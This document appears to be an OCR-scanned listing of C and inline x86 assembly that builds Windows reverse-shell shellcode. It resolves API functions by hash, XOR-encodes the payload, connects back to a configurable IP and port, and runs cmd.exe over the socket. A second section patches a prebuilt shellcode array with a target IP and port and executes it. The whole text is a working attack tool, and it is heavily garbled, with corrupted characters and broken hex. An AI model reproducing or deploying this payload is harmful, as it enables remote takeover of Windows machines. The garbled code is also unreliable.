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#include <stdio.h>
#include <windows.h>

//#include <winsock2.h>
//#pragma comment(lib, "ws2_32")

void shellcode();
void printsc(unsigned char *sc, int len);

DWORD  addr;
unsigned char hash[0x300] = {0};
unsigned char sc[0x1000];

// hash
unsigned char buff[]=
"LoadLibraryA\x0"




"CreateProcessA\x0"
"ExitProcess\x0"
//"ExitThread\x0"
"WSAStartup\x0"
"WSASocketA\x0"
"connect\x0"
"closesocket\x0";

// hash
static DWORD __stdcall GetHash ( char *c)

{
DWORD h = 0;

while ( *c)

{

__asmror h, 13

h += *c++;

}
return( h);
¥

void main()

{

unsigned char temp;
unsigned char “*shellcodefnadd, *start;

int k;

char *fnendstr = "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
#define FNENDLONG 0x08

int all, i, j,n;

//int port = 53;

char *p;

DWORD h;

// WSADATA wsa;

//  WSAStartup(MAKEWORD(2,1),&wsa);
memeset(sc, 0, sizeof(sc));
// shellcodefnlock
shellcodefnadd = (unsigned char*)shellcode;

temp = *shellcodefnadd;
if(temp == 0xe9)

{
+-+shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=Kk;
shellcodefnadd+=4;

3

// shellcode
for(k=0; k <= 0x500; ++k)

{

if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break;
3
// shellcodefnadd+k+8 shellcodefnlock

start = shellcodefnadd+k+8;

// shellcode
for(k=0; k <= 0x500; ++k)
{



if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;
¥

//printf("%x\n", htons(port));

i=0;

n=0;

// hash
for(i=0; i<sizeof(buff); i++)

p = &buff[i-j+11;

if(buff[i] == 0x00)
{
if(i ==j)
{
p = &buff[0];
by

printf("#%d i:%d ", j, i);
j=0;

h = GetHash(p);
memcpy(hash+n, &h, 4);
n +=4;

printf("%s Hash: 0x%08X\n", p, h);
if(buff[i+1] == 0x00) break;

ks
printf(".");
j ++;

3

all = k;
memcpy(sc, start, all);

printf("\nShellcodeLen: %d\n\n", all);
for(k=0; k <= all-3; ++k)

{
if(sc[k] == Ox00 && sc[k+1] == 0x35) printf("port offset: %d\r\n\n", k);
if(sc[K] == OX7F && sc[k+3] == 0x01) printf("ip offset: %d\r\n", k);

3

/] ================== print ======================

117*
// decode 23
k = all - 23;

memcpy(sc+8, &k, 2);
printsc (sc, 23);

// xor shellcode 0x99
for(i=23; i < all; i++)

{
}

sc[i] ™= 0x99;

printsc (sc+23, all-23);

11*/
//  printsc(sc, all);

addr = (DWORD)&sc;



asm

{
}

jmp addr

return;

}

void printsc(unsigned char *sc, int len)

{
int I
// shellcode
for(l =0; | <len; I++)
{
if(I == 0) printf("\"");
if((1%16 == 0) && (I '= 0))printf("\'"\n\""");
printf("\\x%0.2X", sc[l]);
if(l == len-1) printf("\"");
}
printf("\n\n");
/*
1/ iis unicode shellcode
ford=0;I<len; | +=2)
{
if(I == 0) printf("\"");
if((1%616 == 0) && (I '= 0))printf("\'"\n\""");
printf("%6%u%0.2X%.2X", sc[l+1], sc[l]);
if(I == len-2) printf("'\"");
}
*/
¥
void shellcode (void)
{
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}
__asm
{
[
//
//
//
[ s
jmp decode_end

decode_start:



pop edx // esp -> edx

dec edx
xor ecx,ecx
mov cX,0x1FF // shellcode

decode_loop:

Xor byte ptr [edx+ecx], 0x99
loop decode_loop
jmp decode_ok

decode_end:
call decode_start

decode_ok:

[~ ==
//
// shellcode
//
F et ettt
start:

push esp

mov ebp, esp

sub esp, 40
mov esi, esp

/*
[esi] stack layout

00 kernel32.dll
04 LoadLibraryA
08 CreateProcessA
12 ExitProcess

16 ws2_32.dll
20 WSASocketA
24 connect
28 closesocket
32 WSAStartup

*/
R ——————————
//

//  hash

//

 ————————

LoadFunctions:
call GetKernel32BaseAddr
mov [esi], eax

/[l ====== LoadLibraryA ======
push [esi]

push OxecOe4e8e

call LGetProcAddress

mov [esi + 4], eax

/] ====== CreateProcessA =—=====
push [esi]

push 0x16b3fe72

call LGetProcAddress

mov [esi + 8], eax

[/ ====== ExitProcess ======



push [esi]

push Ox73e2d87e
call LGetProcAddress
mov [esi + 12], eax

push  0x00003233
push  0Ox5f327377
push esp

call [esi + 4]

mov [esi + 16], eax

]/ ====== WSASocketA ———====
push [esi + 16]

push Oxadf509d9

call LGetProcAddress

mov [esi + 20], eax

/] ====== connect ===
push [esi + 16]

push Ox60aaf9ec

call LGetProcAddress

mov [esi + 24], eax

/] ====== closesocket —=====
push [esi + 16]

push Ox79C679E7

call LGetProcAddress

mov [esi + 28], eax

]/ ====== WSAStartup ===
push [esi + 16]

push 0x3bfcedcb

call LGetProcAddress

mov [esi + 32], eax

s
//
//
//
[ == m e
LWSAStartup:
// ====== WSAStartup(0x101, &WSADATA[400 bytes!]); ======
sub esp, 400
push esp
push 0x101
call [esi + 32]

LWSASocketA:

push eax
push eax
push eax
push eax

inc eax

push eax

inc eax

push eax

call [esi + 20]

mov ebx, eax // socket ebx

LReconnect:



push 0x0100007F // host: 127.0.0.1
push 0x35000002 // port: 53

mov ecx, esp

push 0x10

push ecx

push ebx

call [esi + 24]

test eax, eax
jne LFinished

LPushCmd:
// ====== push "cmd" ======
push 0x00646d63
mov [esi + 48], esp

LCreateProcessStructs:

/] ====== STARTUPINFO, PROCESS_INFORMATION
sub esp, 16 + 68

// ====== zero out SI/Pl ======
lea edi, [esp]

//  Xor eax, eax
XOr ecx, ecx

add ecx, 21
LBzero:
stosd
loop LBZero
mov [esp + 16], 68 // si.cb = sizeof(si)
inc [esp + 61] // si.dwFlags = 0x100
/] ====== socket ==
//mov [esp + 16 + 45], Ox01 // dwFlags
//mov [esp + 16 + 48],0 // wShowWindow
mov [esp + 16 + 56], ebx // si.hStdlnput = s
mov [esp + 16 + 60], ebx // hStdOutput = s
mov [esp + 16 + 64], ebx // hStdError = s
LCreateProcess:
// ====== CreactProcessA(NULL,"CMD",0,0,1,0,0,0,si,pi);
lea eax, [esp + 16]
push esp // pi
push eax // si
push ecx // IpCurrentDirectory
push ecx // IpEnvironment
push ecx // dwCreationFlags
push 1 // binheritHandles
push ecx // |pThreadAttributes
push ecx // IpProcessAttributes
push [esi + 48] // lIpCommandLine = "cmd"
push ecx // IpApplicationName NULL
call [esi + 8] // CreateProcessA

//mov ecx, esp
LCloseSocket:

push ebx



call [esi + 28]

LFinished:

//push 1
call [esi + 12]

1/
1/
// GetKernel32BaseAddr();
//
1/
GetKernel32BaseAddr:

push ebp

push esi

————— PEB

mov eax, fs:0x30

mov eax, [eax + 0xOc]
mov esi, [eax + Ox1c]
lodsd

mov ebp, [eax + 0x08]
mov eax, ebp

pop esi

pop ebp

ret4

1/
//
//
//
//
LGetProcAddress:

push ebx

push ebp

push esi

push edi

mov ebp, [esp + 24]

mov eax, [ebp + 0x3c]

KERNEL32.DLL

// PEB
// PROCESS_MODULE_INFO
// InInitOrder.flink
// eax = InInitOrder.blink
// ebp = kernel32.dll base address

// DLL Base Address
// eax = PE header offset

mov edx, [ebp + eax + 120]

add edx, ebp
mov ecx, [edx + 24]
mov ebx, [edx + 32]
add ebx, ebp

LFnlp:
jecxz
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp
xor edi, edi
cld

LNtfnd

LHshlp:
XOor eax, eax
lodsb
cmp al, ah
je LFnd
ror edi, 13
add edi, eax
jmp LHship

// edx = exports directory table
// ecx = number of name pointers

// ebx = name pointers table

// esi = name pointer



cmp edi, [esp + 20]

jnz LFnlp

mov ebx, [edx + 36] // ebx = ordinals table RNA

add ebx, ebp

mov cx, [ebx + 2 * ecx] // ecx = function ordinal

mov ebx, [edx + 28] // ebx = address table RVA

add ebx, ebp

mov eax, [ebx + 4 * ecx] // eax = address of function RVA
add eax, ebp

jmp LDone

LNtfnd:
XOor eax, eax

LDone:
mov edx, ebp
pop edi
pop esi
pop ebp
pop ebx
ret 4

end:

}

__asm

-~

nop
nop
nop
nop
nop
nop
nop
nop

#include <winsock2.h>
#Hpragma comment(lib, "ws2_32")

/ change this
##define PORT 53
#define IP "127.0.0.1"

/ don't change the offset
#define PORT_OFFSET 200
#define IP_OFFSET 193

unsigned char cbshellcode[]=
"\XEB\X10\X5A\X4A\X33\XCO\Xx66\xBI\X77\x01\x80\x34\XO0A\X99\XE2\xFA"
"\XEB\XO5\XE8\XEB\XFF\XxFF\xFF"

"\XCD\Xx12\x75\Xx1A\X75\XxB1\x12\x6D\Xx71\x60\x99\x99\x99\x10\x9F\x66"
"\XAF\XF1\X17\XD7\X97\Xx75\Xx71\x9D\x98\x99\x99\x10\XDF\x9D\X6 6 \xAF"
"\XFI\XEB\X67\X2A\X8F\x71\Xx6C\x99\x99\x99\x10\XDF\x91\x66\xAF\XF1"
"\XE7\X41\x7B\XEA\X71\X7F\Xx99\x99\x99\x10\xDF\x95\xF1\XAA\XAB\x99"
"\X99\XF1\XEE\XEA\XAB\XCB\XCD\x66\XCF\x9D\x10\XDF\x89\x66\XEF\x89"
"\XF1\x40\x90\x6C\x34\x7 1\x5C\x99\x99\x99\x10\xDF\Xx8D\x66\XEF\x89"
"\XF1\Xx75\X60\x33\XFO\X71\Xx2C\x99\x99\x99\x10\XDF\x81\x66\XEF\x89"
"\XF1\X7E\XEO\X5F\XEO\X71\Xx3C\x99\x99\x99\x10\XDF\x85\x66\XEF\x89"
"\XF1\X52\X74\x65\xA2\x7 1\x0C\x99\x99\x99\x10\xDF\xB9\x18\x75\x09"




"\X98\X99\X99\XCD\XF1\x98\x98\x99\x99\x66\XxCF\XBO\XCO\XCIA\XCO\xC9"
"\XDI\XCO\XDINXCIO\XE66\XCF\X8D\Xx12\x41\XF1\XE6\X99\x99\x98\xF1\x9B"
"\X99\X9O\XAC\X1L2\X55\XF3\X89\XC8\XCA\X66\XCF\x81\x1C\x59\XEC\XxDA"
"\XF1\XFA\XFA\XFD\X99\Xx10\XFF\XA9\X1A\X75\xCD\Xx14\xA5\xBD\XAA\X50"
""\X1A\X58\Xx8C\x32\x7B\x64\x5F\XxDD\xBD\Xx89\xDD\x67\xDD\xBD\xA4\x10"
""\XC5\XBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD"
""\XCO\XC8\XCB\XC8\XxF3\x98\xC8\xC8\Xx66\XEF\XA9\XC8\x66\xCF\x91\xCA"
""\X66\XCF\x85\x66\XCF\x95\xCC\XCF\XFD\Xx38\XA9\x99\x99\x99\x12\xD9"
"\X95\X12\XE9\X85\x34\X12\XF1\x91\x12\X5C\XC7\XxCA\x5B\x9D\x99\XxCA"
"\XCC\XCF\XCE\X12\xF5\xBD\Xx81\x12\XDC\XA5\x12\XCD\x9C\XE1\x9A\x4C"
"\X12\XD3\x81\x12\XC3\XBIO\X9A\X44\x7 A\XAB\XDO\Xx12\xAD\Xx12\x9A\x6C"
"\XAA\X66\X65\XAA\X59\Xx35\XA3\X5D\XED\X9E\X58\x56\x94\x9A\Xx61\x72"
""\X6B\XA2\XE5\XBD\X8D\XEC\x78\x12\XxC3\xBD\x9A\Xx44\xFF\x12\x95\xD2"
"\X12\XC3\x85\x9A\Xx44\x12\x9D\x12\x9A\X5C\x72\x9B\xAA\X59\x12\x4C"
"\XCB\XC7\xC4\xC2\x5B\x9D\x99";

ivoid main()

{

WSADATA wsa;
unsigned short port;
unsigned long ip;

WSAStartup(MAKEWORD(2,2),&wsa);

port = htons(PORT)"(USHORT)0x9999;
ip = inet_addr(IP)(ULONG)0x99999999;

memcpy(&cbshellcode[PORT_OFFSET], &port, 2);
memcpy(&cbshellcode[IP_OFFSET], &ip, 4);

__asm
{
lea eax,cbshellcode
jmp eax

}

b
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